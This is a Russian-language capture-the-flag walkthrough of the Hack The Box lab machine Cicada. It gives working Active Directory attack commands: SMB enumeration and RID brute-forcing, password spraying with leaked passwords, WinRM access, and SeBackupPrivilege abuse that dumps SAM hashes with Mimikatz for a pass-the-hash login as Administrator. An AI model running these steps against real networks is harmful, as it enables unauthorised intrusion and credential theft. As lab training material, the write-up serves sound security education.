HTB Cicada
Проводим базовые атаки на Active Directory
Наша цель — прохождение машины Cicada с учебной площадки Hack The Box. Уровень задания — легкий.
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /
:
10.10.11.35 cicada.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).

Сканер нашел девять открытых портов:
- 88 — Kerberos;
- 135 — Microsoft RPC;
- 139 — NetBIOS, NetLogon;
- 389 — LDAP;
- 445 — SMB;
- 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
- 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
- 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
- 5985 — служба удаленного управления WinRM.
Первым делом c помощью утилиты NetExec авторизуемся от имени анонима для службы SMB.
nxc smb 10.10.11.35 -u guest -p ''

Авторизация прошла успешно, попробуем собрать данные.
Точка входа
Для начала получим список общих ресурсов SMB. Для NetExec есть параметр --shares
.
nxc smb 10.10.11.35 -u guest -p '' --shares

Также мы можем перебрать RID объектов домена и получить имена групп и пользователей домена. Для этого используем параметр --rid-brute
.
nxc smb 10.10.11.35 -u guest -p '' --rid-brute

Сохраняем пользователей в отдельный файл, так как они нам еще пригодятся. А затем с помощью smbclient из пакета Impacket просматриваем содержимое общего каталога HR, так как он доступен для чтения. Там всего один файл, скачиваем его на локальный хост.
smbclient.py ./guest:''@10.10.11.35
use HR
get Notice from HR.txt

Внутри файла есть дефолтный пароль для организации.

Можно предположить, что есть пользователи, которые его не изменили. Проспреим найденный пароль по всем полученным ранее логинам. Для этого снова обратимся к NetExec. Чтобы перебор продолжался после обнаружения первой валидной учетки, нужно указать параметр --continue-on-success
.
nxc smb 10.10.11.35 -u users.txt -p 'Cicada$M6Corpb*@Lp#nZp!8' --continue-on-success

В результате получаем первую полноценную учетную запись, с которой можно опрашивать контроллер домена.
Первым делом обратим внимание на описание учетных записей пользователей, поскольку там часто можно найти интересную информацию. Для получения важной информации о пользователях применяем параметр --users
.
nxc smb 10.10.11.35 -u michael.wrightson -p 'Cicada$M6Corpb*@Lp#nZp!8' --users

В описании учетной записи david.
находим еще один пароль. Его тоже прогоняем по всем логинам.
nxc smb 10.10.11.35 -u users.txt -p 'aRt$Lp#7t*VQ!3' --continue-on-success

Однако получаем подтверждение только для учетной записи david.
.
Продвижение
Так как мы компрометируем новые учетные записи, стоит обязательно проверить их права на общие SMB-ресурсы. От имени пользователя michael.
ничего нового не увидим, а вот учетной записи david.
доступен для чтения общий каталог DEV
.
nxc smb 10.10.11.35 -u michael.wrightson -p 'Cicada$M6Corpb*@Lp#nZp!8' --shares

nxc smb 10.10.11.35 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3' --shares

Подключаемся к SMB и проверяем содержимое. В каталоге DEV находится скрипт на PowerShell, который мы, конечно же, забираем на локальную машину для анализа.
smbclient.py 'cicada.htb/david.orelious:aRt$Lp#7t*VQ!3'@10.10.11.35


Скрипт архивирует каталог C:\
и кладет архив в D:\
. В этом скрипте есть креды учетной записи emily.
, которые никак не используются. Спреим найденный пароль по всем пользователям и валидируем всего одну учетную запись.
nxc smb 10.10.11.35 -u users.txt -p 'Q!3@Lp#M6b*7t*Vt' --continue-on-success

Проверим, нет ли у этой учетки возможности управления через службу WinRM. NetExec поддерживает в том числе и протокол WinRM.
nxc winrm 10.10.11.35 -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt'

Получаем сессию через Evil-WinRM и добываем первый флаг.
evil-winrm -i 10.10.11.35 -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt'

Локальное повышение привилегий
Получим информацию о пользователе, его привилегиях и группах с помощью команды whoami /
.

Пользователь состоит в группе Backup
, и у него активна привилегия SeBackupPrivilege. Эта привилегия позволяет процессу получить доступ к любому файлу в системе для резервного копирования в режиме обхода списков управления доступом (ACL). SeBackupPrivilege опасна и позволяет нам сдампить такие файлы, как SAM
и SYSTEM
. Из файла SAM
можно извлечь зашифрованные хеши паролей учетных записей, а из SYSTEM
— ключи для расшифрования этих хешей. Скопируем файлы из реестра HKLM.
reg save hklm\sam .\samreg save hklm\system .\system

А теперь используем известную утилиту Mimikatz для получения локальных учетных данных.
.\mimi.exe "lsadump::sam /sam:sam /system:system"

В выводе находим хеш пароля учетной записи Administrator и с его помощью авторизуемся в службе WinRM.
evil-winrm -i 10.10.11.35 -u Administrator -H 2b87e7c93a3e8a0ea4a581937016f341

Машина захвачена!